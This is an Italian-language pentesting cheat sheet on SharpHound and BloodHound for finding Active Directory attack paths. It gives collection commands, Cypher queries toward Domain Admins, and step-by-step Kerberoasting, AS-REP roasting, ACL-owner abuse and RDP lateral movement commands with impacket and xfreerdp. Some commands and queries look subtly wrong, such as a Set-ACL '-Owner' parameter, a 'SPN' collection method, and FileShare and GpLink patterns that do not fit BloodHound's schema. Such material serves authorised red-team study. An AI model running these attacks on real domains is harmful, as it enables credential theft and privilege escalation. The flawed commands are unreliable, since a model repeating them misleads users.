Vai al contenuto

SharpHound & BloodHound

1. Introduzione a SharpHound e BloodHound

  • SharpHound: È un data collector scritto in .NET che raccoglie informazioni da Active Directory (AD), come utenti, gruppi, permessi, sessioni e ACL (Access Control Lists). Questi dati vengono esportati in file JSON.
  • BloodHound: È uno strumento di visualizzazione e analisi che utilizza i dati raccolti da SharpHound per costruire grafici delle relazioni in AD. È basato su Neo4j.

Use Case Principale

Rilevare percorsi di attacco in Active Directory:

  • Chiavi privilegiate dell'infrastruttura (es. AdminDomain).
  • Permessi non protetti (es. WriteOwner su oggetti critici).
  • Percorsi per un attacco di escalation dei privilegi.

2. Scenari di Raccolta Dati con SharpHound

2.1. Raccolta Completa

Raccoglie tutti i dati disponibili:

bash
SharpHound.exe -c All -o C:\OutputDir

2.2. Session Enumeration (Utenti collegati alle macchine)

Identifica quali utenti sono connessi a quali macchine. Utile per pianificare un lateral movement.

bash
SharpHound.exe -c Session

2.3. Trust Enumeration (Relazioni tra domini)

Identifica le relazioni di trust tra domini per espandere il raggio d’azione.

bash
SharpHound.exe -c Trusts

2.4. ACL Enumeration

Trova gli ACL configurati sugli oggetti di AD:

bash
SharpHound.exe -c ACL

2.5. Specific Computer Enumeration

Esegue una raccolta dati su un set specifico di macchine:

bash
SharpHound.exe -c All --ComputerFile C:\targets.txt


3. Scenari di Analisi con BloodHound

3.1. Identificazione dei Domain Admin

Trova il gruppo "Domain Admins" e i suoi membri:

Cypher
MATCH (n:Group {name:"Domain Admins"})<-[:MemberOf*1..]-(m) RETURN m

3.2. Shortest Path verso i Domain Admin

Trova il percorso più breve tra un utente compromesso e un membro dei "Domain Admins":

Cypher
MATCH p=shortestPath((start:User {name:"utente.vittima"})-[*1..]->(end:Group {name:"Domain Admins"})) RETURN p

3.3. Identificazione di Account con Privilegi pericolosi

Trova gli utenti con permessi critici come WriteOwner o GenericAll:

Cypher
MATCH (n:User)-[r:GenericAll|WriteOwner]->(m) RETURN n,r,m


4. Scenari di Attacco

4.1. Abuso di Permessi ACL

Se hai trovato un oggetto con permessi WriteOwner, modifica l’owner per ottenere il controllo: 1. Usa SharpHound per identificare gli oggetti vulnerabili:

bash
SharpHound.exe -c ACL
2. Verifica con BloodHound. 3. Modifica l’owner con PowerShell:
powershell
Set-ACL -Path "CN=Obiettivo,DC=example,DC=com" -Owner "NT AUTHORITY\SYSTEM"

4.2. Kerberoasting

  1. Usa SharpHound per raccogliere i SPN esposti:
    bash
    SharpHound.exe -c SPN
    
  2. Identifica gli account con SPN abilitati in BloodHound:
    Cypher
    MATCH (u:User {hasspn:true}) RETURN u
    
  3. Esegui l’attacco con impacket:
    bash
    GetUserSPNs.py -request -dc-ip <IP> <DOMAIN>/<USER>:<PASSWORD>
    

4.3. Attacco AS-REP Roasting

Trova account con "Do not require Kerberos preauthentication": 1. Cerca questi account in BloodHound:

Cypher
MATCH (u:User {dontreqpreauth:true}) RETURN u
2. Lancia l’attacco con impacket:
bash
GetNPUsers.py <DOMAIN>/<USER>:<PASSWORD> -request

4.4. Lateral Movement tramite RDP

  1. Identifica le macchine a cui puoi accedere:
    Cypher
    MATCH (c:Computer)-[:HasSession]->(u:User {name:"utente.compromesso"}) RETURN c
    
  2. Usa RDP per muoverti lateralmente:
    bash
    xfreerdp /u:<USER> /p:<PASSWORD> /v:<TARGET_IP>
    

5. Strategie di Escalation di Privilegi

5.1. Trova Target per Lateral Movement

Cypher
MATCH (c:Computer)-[:HasSession]->(u:User {name:"utente.compromesso"}) RETURN c

5.2. Sfrutta Permessi Deboli su File Shares

Cypher
MATCH (f:FileShare)-[:Read|Write]->(u:User {name:"utente.compromesso"}) RETURN f

5.3. Abuso di GPO con Permessi di Scrittura

Cypher
MATCH (g:GPO)-[:GpLink]->(u:User {name:"utente.compromesso"}) RETURN g